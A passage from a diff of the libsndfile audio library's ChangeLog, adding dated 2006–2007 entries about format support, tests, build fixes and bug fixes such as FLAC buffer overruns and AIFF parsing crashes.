+    * src/create_symbols_file.py
+    Add support for OS/2 contributed by David Yeo.
+
+2007-11-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * M4/gcc_version.m4
+    Add macro AC_GCC_VERSION to detect GCC_MAJOR_VERSION and GCC_MINOR_VERSION.
+
+    * configure.ac
+    Use AC_GCC_VERSION to work around gcc-4.2 inline warning stupidity.
+    See http://gcc.gnu.org/bugzilla/show_bug.cgi?id=33995
+    Use -fgnu-inline to prevent stupid warnings.
+
+2007-11-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/util.tpl
+    Increase the printing width for print_test_name().
+
+    * tests/command_test.c tests/Makefile.am
+    Add tests for correct updating of broadcast WAV coding history.
+
+    * examples/sndfilehandle.cc examples/Makefile.am
+    Add example program using the C++ SndfileHandle class.
+
+2007-10-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h src/sndfile.c
+    Add error codes SFE_ZERO_MAJOR_FORMAT and SFE_ZERO_MINOR_FORMAT.
+
+2007-10-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sd2.c
+    Identify sample-rate/sample-size/channels by resource id.
+
+2007-10-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/broadcast.c src/common.h src/sndfile.c
+    Improvements to handling of broadcast info in WAV files. Thanks to Frederic
+    Cornu and other for their input.
+
+2007-10-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC/include/share/alloc.h
+    Mingw fix for SIZE_T_MAX from Uli Franke.
+
+2007-10-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/open_fail_test.c tests/error_test.c tests/Makefile.am
+    Move tests from open_fail_test.c to error_test.c and remove the former.
+
+2007-10-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/scale_clip_test.(def|tpl)
+    Add tests for SFC_SET_INT_FLOAT_WRITE command.
+
+    * doc/command.html
+    Add docs for SFC_SET_INT_FLOAT_WRITE command.
+
+    * examples/sndfile-play.c tests/dft_cmp.c
+    Fix gcc-4.2 warning messages.
+
+2007-10-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.h.in src/sndfile.c
+    Add command SFC_GET_CURRENT_SF_INFO.
+
+    * src/sndfile.h.in src/sndfile.c src/create_symbols_file.py
+    Remove function sf_get_info (only ever in pre-release code).
+
+    * tests/command_test.c
+    Add test for SFC_GET_CURRENT_SF_INFO.
+
+2007-10-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c
+    Add parsing of 'exif' chunks. Originally coded by Trent Apted.
+
+    * configure.ac
+    Put config stuff in Cfg directory.
+    Remove check for inttypes.h.
+
+2007-10-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/w64.c
+    Fix writing of 'riff' chunk length and check for correct value in parser.
+
+2007-09-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Link to MP3 FAQ entry.
+
+2007-09-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/flac.c
+    Move the blocksize check to an earlier stage of flac_buffer_copy.
+
+2007-09-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC
+    Huge merge from FLAC upstream.
+
+2007-09-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/*.c
+    Change license to all example programs to BSD.
+
+2007-09-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC/include/FLAC/metadata.h
+    Include <sys/types.h> to prevent compile error on OSX.
+
+    * Octave/octave_test.sh
+    Disable test on OSX. Can't get it to work.
+
+    * src/flac.c
+    Check the blocksize returned from the FLAC decoder to prevent buffer
+    overruns. Reported by Jeremy Friesner. Thanks.
+
+2007-09-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * Makefile.am M4/octave.m4
+    Fix build when Octave headers are not present.
+
+2007-08-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/development.html
+    Add note about bzr repository directory looking empty.
+
+2007-08-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac Octave/* M4/octave_*
+    Bunch of changes to add ability to build GNU Octave modules to read/write
+    sound files using libsndfile from Octave.
+
+2007-08-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * acinclude.m4 configure.ac ...
+    Get rid of acinclude.m4 and replace it with an M4 directory.
+
+2007-08-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.h.in
+    Remove crufty Metrowerks compiler support. Allow header file to be compiled
+    on windows with both GCC and microsoft compiler.
+
+2007-08-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/dft_cmp.[ch] tests/floating_point_test.tpl
+    Clean up floating point tests.
+
+2007-08-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix segfault when COMM chunk length is byte swapped.
+
+2007-08-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h src/mat4.c src/mat5.c src/sndfile.c
+    Add a generic SFE_CHANNEL_COUNT_ZERO error, remove format specific errors.
+
+    * src/au.c
+    Fix crash on AU files with zero channel count. Reported by Ben Alison.
+
+2007-08-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/voc.c
+    Fix bug in handling file supplied by Matt Olenik.
+
+2007-07-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/OGG
+    Merge from OGG upstream sources.
+
+2007-07-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC
+    Merge from FLAC upstream sources.
+
+2007-07-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/flac.c
+    Fix memory leak; set copy parameter to FALSE in call to
+    FLAC__metadata_object_vorbiscomment_append_comment.
+
+    * src/common.[ch]
+    Add function psf_rand_int32().
+
+2007-07-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC
+    Merge from FLAC upstream sources.
+
+    * src/strings.c tests/string_test.c tests/Makefile.am
+    Make sure string tests for SF_STR_LICENSE actually works.
+
+2007-07-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/string_test.c
+    Add ability to test strings stored in metadata secion of FLAC files.
+
+    * src/string.c
+    Fix logic for testing if audio data has been written and string is added.
+    Make sure SF_STR_ALBUM actually works.
+
+    * src/flac.c
+    Finalize reading/writing string metadata. Tests pass.
+
+    * src/sndfile.h.in tests/string_test.c src/flac.c
+    Add string type SF_STR_LICENSE, update test and use for FLAC files.
+
+    * src/sndfile.h.in
+    Add definition for SFC_SET_SCALE_FLOAT_INT_WRITE command.
+
+    * src/common.h src/double64.c src/float32.c src/sndfile.c
+    Add support for SFC_SET_SCALE_FLOAT_INT_WRITE (still needs testing).
+
+2007-07-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/flac.c
+    Apply patch from Ed Schouten to read artist and title metadata from FLAC
+    files.
+    Improve reporting of FLAC metadata.
+
+    * src/sndfile.h.in tests/string_test.c src/flac.c
+    Add string type SF_STR_ALBUM, update test and use for FLAC files.
+
+2007-06-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC/*
+    Merge from upstream CVS.
+
+2007-06-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC/*
+    Update from upstream CVS.
+
+2007-06-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/cpp_test.cc
+    Add extra tests for when the SndfileHandle constructor fails.
+
+    * src/sndfile.hh
+    Make sure failure to open the file in the constructor does not allow later
+    calls to other methods to fail.
+
+2007-06-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/util.tpl
+    Add function write_mono_file.
+
+    * tests/generate.[ch] tests/Makefile.am
+    Add files generate.[ch] and hook into build.
+
+    * tests/write_read_test.tpl
+    Add multi_seek_test.
+
+    * src/flac.c
+    Fix buffer overflow bug. Test provided by Jeremy Friesner and fix provided
+    by David Viens.
+
+2007-06-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/FAQ.html
+    Minor update.
+
+    * configure.ac src/FLAC/src/libFLAC/ia32/Makefile.am src/Makefile.am
+    Apply patch from Trent Apted make it compile on Intel MacOSX. Thanks Trent.
+
+2007-05-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c
+    Fix writing of MSGUID subtypes. Thanks to Bruce Sharpe.
+
+2007-05-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c
+    Fix array indexing bug raised by Bruce Sharpe.
+
+2007-05-12  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC/src/share/getopt/getopt.c
+    Fix Mac OSX / PowerPC compile warnings.
+
+    * configure.ac
+    Make sure WORDS_BIGENDIAN gets correctly defined for FLAC code.
+
+2007-05-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/FAQ.html
+    Add Q/A about MP3 support.
+
+2007-05-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/new_file_type.HOWTO
+    Minor updates.
+
+2007-05-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wve.c
+    Fix a couple bad parameters with psf_log_printf.
+
+    * src/pcm.c
+    Improve error reporting.
+
+    * src/common.h src/common.c
+    Constify psf_hexdump.
+
+2007-04-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC
+    Ditch and re-import required FLAC code.
+
+    * configure.ac
+    Force FLAC__HAS_OGG variable to 1.
+
+    * src/FLAC/src/libFLAC/stream_encoder.c
+    Fix compiler warnings.
+
+2007-04-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac tests/win32_ordinal_test.c
+    Detect if win32 DLL is beging generated and only run win32_ordinal_test if
+    true.
+
+    * src/G72x/Makefile.am src/Makefile.am
+    Use $(EXEEXT) where possible.
+
+2007-04-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wve.c src/common.h src/sndfile.c
+    Complete definition of SfE_WVE_NO_WVE error message.
+
+    * src/wve.c
+    Fix error in files generated on big endian systems. Robustify parsing.
+
+2007-04-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/double64.c
+    Fix clipping of double to short conversions on 64 bit systems.
+
+    * src/flac.c regtest/database.c tests/cpp_test.cc
+    Fix compile warnings for 64 bit systems.
+
+2007-04-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c src/wav_w64.c
+    Use audio detect function when 'fmt ' chunk data is suspicious.
+
+    * configure.ac
+    Add ugly hack to remove -Werror from some Makefiles.
+
+2007-04-14  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/GSM610/long_term.c src/macbinary3.c tests/cpp_test.cc
+    Add patch from Andr\xE9 Pang to clean up compiles on OSX.
+
+    * src/wve.c src/common.h src/sndfile.c src/sndfile.h.in
+        examples/sndfile-convert.c
+    Merge changes from Reuben Thomas to improve WVE support.
+
+    * tests/lossy_comp_test.c tests/Makefile.am
+    Add tests for WVE files.
+
+2007-04-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.hh
+    Add a static SndfileHandle::formatCheck method as suggested by Jorge
+    Jim\xE9nez.
+
+2007-04-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Fixed a bug in sf_error() where the function itself was being compared
+    against zero. Add a check for a NULL return from peak_info_calloc. Fix a
+    possible NULL dereference.
+
+2007-04-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/flac.c
+    Turn off seekable flag when writing, return SFE_BAD_RDWR_FORMAT when
+    opening file for RDWR.
+
+    * src/sndfile.c
+    Improve error message for SFE_BAD_RDWR_FORMAT.
+
+    * src/mat4.c
+    Fix array indexing issue. Thanks to Ben Allison (Nullsoft) for alerting me.
+
+2007-03-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/FAQ.html
+    Add Q/A 19 on project files.
+
+2007-03-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Guard agains MacOSX universal binary compiles.
+
+    * doc/FAQ.html
+    Add Q/A 18 and clean up Q3.
+
+2007-02-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Add support for 'in24' files.
+
+2007-02-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c src/wav_w64.c src/wav_w64.h
+    Start work towards detecting ausio codec type from the actual audio data.
+
+    * src/audio_detect.c src/test_audio_detect.c
+    Add new file and its unit test.
+
+2007-02-07  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/cooledit-fixer.c examples/Makefile.am
+    Remove old broken example program.
+
+2007-02-06  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c src/sndfile.h.in src/create_symbols_file.py
+    Add function sf_get_info.
+
+2007-01-25  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-play.c
+    For ALSA, use the 'default' device instead of 'plughw:0'.
+
+2007-01-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Allow writing of WAV/WAVEX 'BEXT' chunks in SFM_RDWR mode.
+
+2007-01-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/development.html doc/embedded_files.html man/sndfile-play.1
+    Minor documentation fixes. Thanks Reuben Thomas.
+
+2006-12-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * examples/sndfile-convert.c
+    Add -override-sample-rate command line option.
+
+2006-11-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/misc_test.c
+    Force errno to zero at start of some tests.
+
+    * src/sndfile.c
+    Minor clean up of error handling.
+
+    * configure.ac
+    Remove an assembler test which was failing on OSX.
+
+2006-11-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Fix the definition of SF_PLATFORM_S64 for MinGW.
+
+    * src/FLAC/Makefile.am src/FLAC/share/grabbag/Makefile.am
+    Fix path problems for MinGW.
+
+2006-11-13  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sfendian.h
+    Add include guard.
+
+    * src/Makefile.am src/flac.c
+    Clean up include paths.
+
+    * src/test_conversions.c
+    New file to test psf_binheader_readf/writef functions.
+
+    * src/Makefile.am src/test_file_io.c src/test_log_printf.c src/common.c
+    Clean up unit testing.
+
+    * src/common.c
+    Fix a bug reading/writing 64 bit header fields. Thanks to Jonathan Woithe
+    for reporting this.
+
+    * src/test_conversions.c
+    Complete unit test for above fix.
+
+2006-11-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    More refactoring to clean up psf_open_file() and vairous sf_open()
+    functions.
+
+2006-11-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav.c
+    Apply a patch from Jonathan Woithe to allow opening of (malformed) WAV
+    files of over 4 gigabytes.
+
+2006-11-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.c
+    Refactor function psf_open_file() to provide a single return point.
+
+    * tests/misc_test.c
+    Fix permission_test to ensure that read only file can be created.
+
+2006-11-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Add SF_PLATFORM_S64 macro as a platform independant way of doing signed 64
+    bit integers.
+
+    * src/aiff.c src/svx.c src/wav.c
+    Add warning in log if files are larger than 4 gigabytes in size.
+
+2006-11-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/FLAC src/OGG confgure.ac src/Makefile.am
+    Pull in all required FLAC and OGG code so external libraries are not
+    needed. This makes compiling on stupid fscking Windoze easier.
+
+2006-10-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sd2.c
+    Add workaround for switched sample rate and sample size.
+
+    * src/wav.c
+    Add workaround for excessively long coding history in the 'bext' chunk.
+
+2006-10-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.h.in src/sndfile.c src/wav.c doc/command.html
+    Use SF_AMBISONIC_* instead of SF_TRUE/SF_FALSE.
+
+2006-10-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.h.in src/wav.c src/wav_w64.c src/common.h doc/command.html
+    Apply a patch from Fons Adriaensen to allow writing on WAVEX Ambisonic
+    files. Still needs a little tweaking before its ready for release.
+
+    * src/*.c
+    Use the UNUSED macro to prevent compiler warnings.
+
+2006-10-19  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix a bug in parsing AIFF files with a slightly unusual 'basc' chunk. Thanks
+    to David Viens for providing two example files.
+
+    * src/common.(c|h) src/aiff.c
+    Add a function psf_sanitize_string and use it in aiff.c.
+
+2006-10-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/wav_w64.c
+    Apply a patch from Fons Adriaensen which fixes a minor WAVEX GUID issue.
+
+2006-10-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/Makefile.am
+    Fix problem related to recent test coverage changes.
+
+2006-10-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * configure.ac tests/Makefile.am
+    Add --enable-test-coverage configure option.
+
+2006-10-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/sndfile.hh
+    Add an std::string SndfileHandle constructor.
+
+    * tests/scale_clip_test.tpl
+    Fix the 'make distcheck' target.
+
+2006-10-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/double64.c src/float32.c
+    Add optional clipping on float file data to int read data conversions.
+
+    * tests/tests/scale_clip_test.(def|tpl)
+    Add test for above new code.
+
+2006-09-06  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/aiff_rw_test.c
+    Add 'MARK' chunks to make sure they are parsed correctly.
+
+2006-09-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix parsing of MARK chunks. Many thanks to Sciss for generating files to
+    help debug the problem.
+
+2006-09-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/common.h
+    Make the SF_MIN and SF_MAX macros at least partially type safe.
+
+    * tests/lossy_comp_test.c
+    Fix overflow problems when ensuring that signalis not zero.
+
+2006-08-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
     * configure.ac docs/*.html
     Changes for release 1.0.17.
 
-2006-08-08 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-08-08  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/flac.c
     Remove inline from functions called by pointer. Thanks to Sampo Savolainen
     for notifying me of this.
 
-2006-07-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.hh
     Add writeSync method.
@@ -21,7 +1677,7 @@
     * tests/cpp_test.cc
     Cleanup. Add tests.
 
-2006-07-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.hh
     Templatize the read/write/readf/writef methods as suggested by Lars Luthman.
@@ -33,7 +1689,7 @@
     * tests/cpp_test.cc
     Add more tests.
 
-2006-07-29 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/cpp_test.cc
     Remove the generated file so "make distcheck" passes.
@@ -44,7 +1700,7 @@
     * src/sndfile.hh
     Change the license for the C++ wrapper to modified BSD.
 
-2006-07-28 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-28  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.hh
     Complete it.
@@ -52,7 +1708,7 @@
     * tests/cpp_test.cc
     Add more tests.
 
-2006-07-27 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-27  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/utils.tpl
     Add extern C to generated header file.
@@ -66,7 +1722,7 @@
     * configure.ac
     Add appropriate CXXFLAGS.
 
-2006-07-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Test if compiler supports -Wpointer-arith.
@@ -74,7 +1730,7 @@
     * src/common.c
     Fix a warning resulting from -Wpointer-arith.
 
-2006-07-15 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-07-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * examples/sndfile-play.c
     Explicitly set endian-ness as well as setting 16 bit output.
@@ -88,13 +1744,13 @@
     * src/wav_w64.[ch]
     Minor clean up, add detection of IPP ITU G723.1.
 
-2006-06-23 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-06-23  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.c
     Make sure psf->dataoffset gets reset to zero when openning headersless
     files based on the file name extension.
 
-2006-06-21 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-06-21  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/(command|lossy_comp|pcm|scale_clip)_test.c tests/fix_this.c
         tests/write_read_test.(tpl|def)
@@ -104,7 +1760,7 @@
     * examples/cooledit-fixer.c
     More fixes like above.
 
-2006-06-20 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-06-20  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/file_io.c
     Fix a windows bug where the syserr string of SF_PRIVATE was not being set
@@ -113,17 +1769,17 @@
     * src/sndfile.c
     Fixed a logic bug in sf_seek(). Thanks to Paul Davis for finding this.
 
-2006-06-04 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-06-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Fixed detection of S_IRGRP.
 
-2006-05-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * sndfile-convert.c
     Add conversion SF_INSTRUMENT data when present.
 
-2006-05-22 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/development.html
     Removed references to tla on windows.
@@ -142,7 +1798,7 @@
         src/(sndfile|voc|vox_adpcm|xi).c
     Remove fdata field from SF_PRIVATE struct and replace it with codec_data.
 
-2006-05-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Win32/testprog.c Win32/Makefile.am
     Add a minimal win32 test program.
@@ -150,17 +1806,17 @@
     * Win32/README-precompiled-dll.txt Mingw-make-dist.sh
     Update readme and Mingw build script.
 
-2006-05-09 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac acinclude.m4
     Minor fixes for Solaris.
 
-2006-05-05 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-05  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/test_endswap.(def|tpl)
     Fix printf formatting for int64_t on 64 bit machines.
 
-2006-05-04 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-04  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/binhead_check.py
     New file to check for bad parameters passed to psf_binheader_writef().
@@ -174,20 +1830,20 @@
     * src/double64.c
     Clean up double64_get_capability().
 
-2006-05-03 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/wav_w64.c
     Fix a bug on x86_64 where an int was being passed via stdargs and being
     read using size_t which is 64 bits. Thenks to John ffitch for giving me a
     login on his box.
 
-2006-05-02 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/caf.c src/double64.c examples/sndfile-info.c tests/virtual_io_test.c
             tests/utils.tpl
     Fix a couple of signed/unsigned problems.
 
-2006-05-01 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-05-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/command_test.c
     Add channel map tests.
@@ -196,7 +1852,7 @@
     Add a pointer the the SF_PRIVATE struct and make sure it gets freed in
     sf_close().
 
-2006-04-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-04-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac doc/(command|index|api).html NEWS README
     Updates for 1.0.16 release.
@@ -207,7 +1863,7 @@
     * examples/sndfile-info.c
     Clean up usage of SF_INFO struct.
 
-2006-04-29 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-04-29  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/util.tpl
     Add function testing function exit_if_true().
@@ -215,7 +1871,7 @@
     * tests/floating_point_test.tpl
     Fix a problem where the test program was not exiting when the test failed.
 
-2006-04-15 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-04-15  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in src/sndfile.c src/common.h src/command.c
     Implement new commands SFC_GET_SIGNAL_MAX and SFC_GET_MAX_ALL_CHANNELS.
@@ -226,7 +1882,7 @@
     * tests/peak_chunk_test.c
     Update tests for new commands.
 
-2006-04-02 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-04-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * tests/peak_chunk_test.c
     Add test for RIFX and WAVEX files.
@@ -235,7 +1891,7 @@
     * src/sndfile.c
     Fix a bug where enabling and disabling PEAK chunk was screwing up.
 
-2006-03-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-31  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in
     Add the block of 190 reserved bytes into this struct to allow for
@@ -250,7 +1906,7 @@
     * tests/command_test.c tests/Makefile.am
     Complete bext tests, hook test in test suite.
 
-2006-03-30 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-30  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/sndfile.h.in
     Make coding_history field of SF_BROADCAST_INFO struct a char array instead
@@ -266,19 +1922,19 @@
     * src/wav.c
     Ignore and skip the 'levl' chunk.
 
-2006-03-26 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-26  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * configure.ac
     Fix handling of --enable and --disable configure args. Thanks to Diego
     'Flameeyes' Petten\xF2 who sent the patch.
 
-2006-03-22 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * doc/win32.html
     Make it really clear that although the MSVC++ cannot compile libsndfile,
     the precompiled DLL can be used in C++ programs compiled with MSVC++.
 
-2006-03-18 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-18  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/aiff.c
     Fix bug in writing of INST chunk in AIFF files.
@@ -293,7 +1949,7 @@
     * tests/utils.tpl
     Add usage of space character to psf_binheader_writef.
 
-2006-03-17 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-17  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/Makefile.am tests/Makefile.am
     Remove --source-time argument from autogen command lines.
@@ -304,7 +1960,7 @@
     * src/sndfile.c src/sndfile.h.in src/wav.c src/common.h
     Add patch from Paul Davis implementing read/write of the BEXT chunk.
 
-2006-03-16 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-16  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Win32/README-precompiled-dll.txt
     New file descibing how to use the precompiled DLL.
@@ -315,7 +1971,7 @@
     * configure.ac
     Bump version to 1.0.15.
 
-2006-03-11 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-11  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/wav.c
     On read, only add the endian flag if the file is big endian.
@@ -326,7 +1982,7 @@
     * tests/write_read_test.tpl tests/lossy_comp_test.c
     Add tests for RIFX files.
 
-2006-03-10 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-10  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * Mingw-make-dist.sh
     Bunch of improvements.
@@ -334,7 +1990,7 @@
     * doc/win32.html
     Update MinGW program versions.
 
-2006-03-09 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2006-03-09  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
     * src/create_symbols_file.py
